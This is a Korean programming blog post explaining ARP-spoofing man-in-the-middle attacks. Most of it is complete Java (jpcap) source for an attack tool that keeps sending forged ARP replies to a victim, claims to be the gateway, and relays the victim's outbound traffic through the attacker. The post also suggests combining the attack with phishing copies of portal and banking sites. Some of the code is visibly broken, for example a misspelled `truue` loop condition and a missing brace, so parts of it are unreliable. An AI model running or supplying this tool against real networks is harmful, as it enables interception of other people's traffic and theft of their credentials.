프로그래밍/jpcap programming

MIMA 중간자 공격 구현 및 설명

dp. 2011. 7. 4. 18:23
작성자 :  유창훈
오늘은 중간자 공격에 대해 알아보겠습니다. 


요렇게 통신되던걸 
 

요렇게 바꾸어주는 것입니다. 

중간자 공격 유형은 아래와 같이 두가지 방법이 있습니다. 
1. 공격을 Host A만 해서 HostA 에서 오는 패킷들은 모두 공격자를 지나가고 외부에서 들어오는 패킷은 건드리지 않기
2. 공격을 Host A와 Gateway둘다 해서 HostA에서 외부로 나가고 , Gateway에서 Host A로 들어오는 모든 패킷 잡기.




원리는 간단합니다. Arp Spoofing을 통해 희생자가 가지고있는 게이트웨이의 맥주소를 공격자의 맥주소로 바꾸고 희생자가 게이트웨이인줄알고 WAN으로 내보내려고하는 모든 패킷을 공격자가 중간에서  진짜 게이트웨이로 전달만 하는 것입니다. 
반대로 외부로 부터 오는 패킷은 그냥 내버려둬도 상관없습니다. 

아직 다루진 않았지만 세션 하이제킹을 하려면 상호간에 교환되는 패킷을 모두 관찰해야 하지만, 지금 처럼 단방향 MIMA공격도 희생자의 모든 정보를 알아내기에 부족함이 없습니다. 

환경은  로컬네트웍 환경이고, 게이트웨이, 스위치, Host A환경은 다음과 같습니다.  

 


Host A에서 www.google.com으로 ping을 날렸을때,  패킷의 맨처음 6바이트인 Destionation Mac Address에 11:22:33:44:55:66을 채우게 됩니다. 이는 www.google.com의 IP주소가 Host A의 네트워크 주소가아님을 서브넷의 AND연산을 통해 비교 파악하고, 외부로 보내려고 출구인 게이트웨이의 맥주소를 ARP 캐시 테이블에서 찾습니다. 만약  케시테이블에 192.168.1.1에 해당하는 맥주소가 없다면 ARP request를 통해 맥주소를 얻어오게 됩니다. 


근데 중간자  공격은 ,공격자가 마치 게이트웨이인양  Host A에게 자신을 속이는 것으로 시작합니다. 즉, 보내지도 않은 ARP request패킷을 마치 Gateway가 reply해준것 처럼 지속적으로 속이는 패킷을 보냅니다. 

 

ARP reply 패킷에 Sender IP는게이트웨이 192.168.1.1 을, Sender Mac address는 공격자의 aa:aa:aa:aa:aa:aa
를 1-2초에 한번씩 지속적으로 보냅니다 . 로컬네트웍안에서 Host A는 외부로 나가는 모든 패킷을 공격자로 보내게 됩니다.
공격자는 지속적으로 들어오는 패킷을 감시하고있다가 Destnation Mac address가 aa:aa:aa:aa:aa:aa(공격자) 이고 Source Mac Address가 55:55:55:55:55:55(Host A)인 모든 패킷의 Destnation Mac Address를 11:22:33:44:55:66(Gateway)로 Source Mac Addres를 aa:aa:aa:aa:aa:aa(공격자)로 바꾸어 내보냅니다. 

패킷을 받은 라우터는 정상적으로 패킷을 수신해서 WAN으로 전달하고 google.com에서 전달받은 응답패킷들은 정상적인 경로인, Host A로 바로 보내게 됩니다. 

이상 단방향 MIMA 공격이었습니다. 
이러한 단방향 공격의 변형유형중 하나가 예전에 유행했던 피싱사이트와의 결합입니다. 
예를 들어 네이버, 금융권 사이트를 공격자 자신의 PC에서 웹서비스를 동작시키고 특정 개인정보를 유도할 수 있겠습니다. 

같은 원리로 라우터까지 속이게 되는   양방향 MIMA 공격에서는  서버로부터의 응답까지 스니핑이 가능하기 때문에 요즘들어 특정 확인을 요구하는 서버측의 웹페이지같은 경우 실제 사용자의 동의 없이도 조작이 가능하기도 합니다. 
---------------------------------------------------------------------------------------------------------------------
소스는 다음과 같습니다. 
구성 : mima.java                   :  네트워크 인터페이스 선택 및 변수정의 및 초기화 &
dump.java                   :  초기 타겟의 mac주소 획득 및,  포워딩(sending포함)작업
send.java                    :  2초에 한번씩 조작된 Arp Reply 패킷생성 및  보내기
thread_for_dimp.java  :  Dump 스레드 동작
thread_for_send.java  : 2초에 한번씩 보낼때 사용되는 send 메소드의 스레드 동작

동작 순서는 다음과 같습니다. 
1. 네트워크 인터페이스 선택
2. 공격자 자신의 IP, MAC , 게이트웨이의 IP, Mac저장
3. Dump, 및 Send 쓰레드 동작
4. 타겟시스템으로 정상적인 Arp request를 보냄으로써, 타겟의 Mac주소 획득
5. 쓰레드로 동작되고있는 send메소드에서 타겟의 mac주소가 획득되면 state 를 1로 셋팅
6. state가 1일 때부터 조작된 Arp reply를 2초간격으로 무한반복으로 보냄
6. 쓰레드로 동작되고있는 dump메소드에서 이더넷헤더를 지속적으로 감시하며 포워딩작업수행




=========================mima.java============================================

import java.util.Arrays;
import java.util.Scanner;
import jpcap.*;
import jpcap.packet.*;

import java.net.InetAddress;
import java.net.URL;

public class mima {
public static int device=0;                                    //네트워크 디바이스 번호
public static byte[] myIp = new byte[4];        //공격자 IP
public static byte[] myMac = new byte[6];   //공격자 mac
public static byte[] TarIp = new byte[4]; //희생자 ip
public static byte[] TarMac = new byte[6];   //희생자 mac
public static byte[] gwIp = new byte[4];   //gateway ip
public static byte[] gwMac = new byte[6];  //gate Mac
public static int state=0;     //   0=희생자의 mac주소획득전(정상)
//    1= 희생자의 mac주소 획득 후 ( 공격시작을 알림)
public static void main(String[] args) throws java.io.IOException {
if (args.length < 2 | args.length>2) {
System.out.println("Usage: java mima <Target_IP > <Gateway_IP>");    //입력형식
System.exit(0);
} else {

// Jpcap initstatic
NetworkInterface[] devices = JpcapCaptor.getDeviceList();

// list display
for (int i = 0; i < devices.length; i++)
System.out.println(i + ":" + devices[i].name + "("
+ devices[i].description + ")");

// select interface
System.out.format("==========================\n Select Your Network Interface =>  ");
Scanner scan = new Scanner(System.in);
device = scan.nextInt();
if (device < 0 | device>devices.length) {
System.out.println("Please select the correct DEVICE");
System.exit(0);
else {
//get target IP
TarIp = InetAddress.getByName(args[0]).getAddress();
//get gateway  IP
gwIp = InetAddress.getByName(args[1]).getAddress();
/////////////////////  Get the gateway mac....auto.......... 
JpcapCaptor captor=JpcapCaptor.openDevice(devices[device],2000,false,5000);
InetAddress pingAddr=InetAddress.getByName("www.google.com");
captor.setFilter("tcp and dst host "+pingAddr.getHostAddress(),true);
gwMac=null;
while(true){
new URL("http://www.google.com").openStream().close();
Packet ping=captor.getPacket();
if(ping==null){
System.out.println("cannot obtain MAC address of default gateway.");
System.exit(-1);
}else if(Arrays.equals(((EthernetPacket)ping.datalink).dst_mac,devices[device].mac_address))
continue;
gwMac=((EthernetPacket)ping.datalink).dst_mac;
break;
}
//get My IP  & MAC  auto,...
for (NetworkInterfaceAddress a : devices[device].addresses){
InetAddress intaddr = a.address;
myIp = intaddr.getAddress();
myMac = devices[device].mac_address;
break;                       ////just one time 
}
// capture start
thread_for_dump t_d = new thread_for_dump();
Thread th_d = new Thread(t_d);
th_d.start();
try {        //just wait.. because interval..no reason
      Thread.sleep(1 * 1000);
    } catch (InterruptedException e) { }
    
thread_for_send t_s = new thread_for_send();
Thread th_s = new Thread(t_s);
th_s.start();
   
}
}
}
}
===================== dump.java ===============================================
import java.io.IOException;

import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.PacketReceiver;
import jpcap.packet.Packet;

class dump implements PacketReceiver
{
public void receivePacket(Packet p) 
{
byte[] bytes = new byte[p.header.length + p.data.length];
System.arraycopy(p.header, 0, bytes, 0, p.header.length);
System.arraycopy(p.data, 0, bytes, p.header.length, p.data.length);

//////희생자의 Mac주소 획득
if(mima.state == 0 && bytes[21] == (byte)0x02 && 
bytes[28] ==mima.TarIp[0] && bytes[29] ==mima.TarIp[1] &&bytes[30] ==mima.TarIp[2] &&bytes[31] ==mima.TarIp[3])
{
mima.TarMac[0]=bytes[6];              
mima.TarMac[1]=bytes[7];
mima.TarMac[2]=bytes[8];
mima.TarMac[3]=bytes[9];
mima.TarMac[4]=bytes[10];
mima.TarMac[5]=bytes[11];
mima.state = 1;               ///     희생자의 mac주소 획득을 알리는 변수 1 = 획득
}
if (mima.state ==1 &&        //스푸핑된 패킷을 포워딩하는 작업 = 이더넷 헤더정보 변경
mima.myMac[0] ==bytes[0] &&
mima.myMac[1]== bytes[1] &&
mima.myMac[2]==bytes[2] &&
mima.myMac[3]==bytes[3] &&
mima.myMac[4]== bytes[4] &&
mima.myMac[5]== bytes[5] &&
mima.TarMac[0]==bytes[6]  &&
mima.TarMac[1]==bytes[7]  &&
mima.TarMac[2]== bytes[8]  &&
mima.TarMac[3]== bytes[9]  &&
mima.TarMac[4]== bytes[10]  &&
mima.TarMac[5]== bytes[11])
{               ///////////////////////catch
bytes[0]=mima.gwMac[0] ;                    /////////////chang the mac addressssssssssssssss
bytes[1]=mima.gwMac[1] ;
bytes[2]=mima.gwMac[2] ;
bytes[3]=mima.gwMac[3] ;
bytes[4]=mima.gwMac[4] ;
bytes[5]=mima.gwMac[5] ;
bytes[6]=mima.myMac[0];
bytes[7]=mima.myMac[1]; 
bytes[8]=mima.myMac[2];
bytes[9]=mima.myMac[3]; 
bytes[10]=mima.myMac[4]; 
bytes[11]=mima.myMac[5];
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
JpcapSender sender = null;
try {
sender = JpcapSender.openDevice(devices[mima.device]);
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
// make raw packet
Packet sendPack = new Packet();
System.out.println(">>>>>>>>>>>come to me>>>>>>>>kkkkkkkkf");
sendPack.data = bytes;
sender.sendPacket(sendPack);
sender.close();
}
}
}
===================== send.java ===============================================
import java.io.IOException;
import java.net.InetAddress;

import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.Packet;

public class send {
public void sendpack() throws IOException {

// make raw packet
Packet sendPack = new Packet();
byte pb[] = new byte[60];

///일단 밑에 while문 전까지 기본적인 패킷의 정보 입력해놓은것
//Dst_mac
pb[0] = 0; pb[1] = 0; pb[2] = 0; pb[3] = 0; pb[4] = 0; pb[5] = 0;

// Src_Mac
pb[6] = 0; pb[7] = 0; pb[8] = 0; pb[9] = 0; pb[10] = 0; pb[11] = 0;

// Ether Type
pb[12] = (byte) 0x08; pb[13] = (byte) 0x06;

// Hardware type
pb[14] = (byte) 0x00; pb[15] = (byte) 0x01;
// Protocol Type
pb[16] = (byte) 0x08; pb[17] = (byte) 0x00;
// Hardware address size = Hardware length(Hlen) = Mac address size
// = 6byte
pb[18] = (byte) 0x06;
// Porotocol size= ip address size = 4byte 
pb[19] = (byte) 0x04;
// opcode Request = 1, reply =2
pb[20] = (byte) 0x00; pb[21] = (byte) 0x01;

// sender hardware address
pb[22] = 0;  pb[23] = 0; pb[24] = 0; pb[25] = 0; pb[26] = 0; pb[27] = 0;
// sender IP address
pb[28] = 0; pb[29] = 0; pb[30] = 0; pb[31] = 0;
// Target Hardware address
pb[32] = 0; pb[33] = 0; pb[34] = 0; pb[35] = 0; pb[36] = 0; pb[37] = 0;
// target Ip address
pb[38] = 0; pb[39] = 0; pb[40] = 0; pb[41] = 0;
while(truue )                              // state값에 따른 다른 내용의 패킷을 반복적으로 보냄   = arp spoofing reply 
{
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
JpcapSender sender = JpcapSender.openDevice(devices[mima.device]);
if(mima.state ==0)
{
pb[0] = (byte) 0xff; pb[1] = (byte) 0xff; pb[2] = (byte) 0xff;
                                pb[3] = (byte) 0xff; pb[4] = (byte) 0xff; pb[5] = (byte) 0xff;
// Src_Mac
pb[6] = mima.myMac[0]; pb[7] = mima.myMac[1]; pb[8] = mima.myMac[2];
                                pb[9] = mima.myMac[3]; pb[10] = mima.myMac[4]; pb[11] = mima.myMac[5];
// sender hardware address
pb[22] = mima.myMac[0];  pb[23] = mima.myMac[1]; pb[24] = mima.myMac[2];
                                pb[25] = mima.myMac[3]; pb[26] = mima.myMac[4]; pb[27] = mima.myMac[5];
// sender IP address
pb[28] = mima.myIp[0]; pb[29] = mima.myIp[1]; pb[30] = mima.myIp[2]; pb[31] = mima.myIp[3];
// Target Hardware address
pb[32] = 0; pb[33] = 0; pb[34] = 0; pb[35] = 0; pb[36] = 0; pb[37] = 0;
// target Ip address
pb[38] = mima.TarIp[0]; pb[39] = mima.TarIp[1]; pb[40] = mima.TarIp[2]; pb[41] = mima.TarIp[3];
}
else if(mima.state ==1)
{
//reply
pb[21] = (byte) 0x02;
pb[0] = mima.TarMac[0]; pb[1] = mima.TarMac[1];         pb[2] = mima.TarMac[2];
                                pb[3] = mima.TarMac[3]; pb[4] = mima.TarMac[4]; pb[5] = mima.TarMac[5];
// Src_Mac
pb[6] = mima.myMac[0]; pb[7] = mima.myMac[1]; pb[8] = mima.myMac[2];
                                pb[9] = mima.myMac[3]; pb[10] = mima.myMac[4]; pb[11] = mima.myMac[5];
// sender hardware address
pb[22] = mima.myMac[0];           pb[23] = mima.myMac[1];              pb[24] = mima.myMac[2];
                                pb[25] = mima.myMac[3];  pb[26] = mima.myMac[4];      pb[27] = mima.myMac[5];
// sender IP address
pb[28] = mima.gwIp[0]; pb[29] = mima.gwIp[1]; pb[30] = mima.gwIp[2]; pb[31] = mima.gwIp[3];
// Target Hardware address
pb[32] = mima.TarMac[0]; pb[33] = mima.TarMac[1];         pb[34] = mima.TarMac[2];
                                pb[35] = mima.TarMac[3]; pb[36] = mima.TarMac[4]; pb[37] = mima.TarMac[5];
// target Ip address
pb[38] = mima.TarIp[0]; pb[39] = mima.TarIp[1]; pb[40] = mima.TarIp[2]; pb[41] = mima.TarIp[3];
System.out.format("%d.%d.%d.%d 's GW is Spoofing......now\n", (0xff)&mima.TarIp[0], (0xff)&mima.TarIp[1], (0xff)&mima.TarIp[2], (0xff)&mima.TarIp[3]);

}
try {        //just wait.. because interval..no reason
      Thread.sleep(2 * 1000);                       //2초간격
    } catch (InterruptedException e) { }
sendPack.data = pb;
sender.sendPacket(sendPack);
sender.close();
}
}
}


=====================thread_for_dump.java=============================================
import jpcap.*;
import java.io.IOException;


public class thread_for_dump implements Runnable{
public void run(){
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
JpcapCaptor jpcap = null;
try {
jpcap = JpcapCaptor.openDevice(devices[mima.device], 2000, true, 1);
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
jpcap.loopPacket(-1, new dump());
}
}


=====================thread_for_send.java=============================================
import jpcap.*;
import java.io.IOException;


public class thread_for_send implements Runnable{
public void run(){
  send s = new send();
 
try {
s.sendpack(); /////////////////////////
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
==============================================================================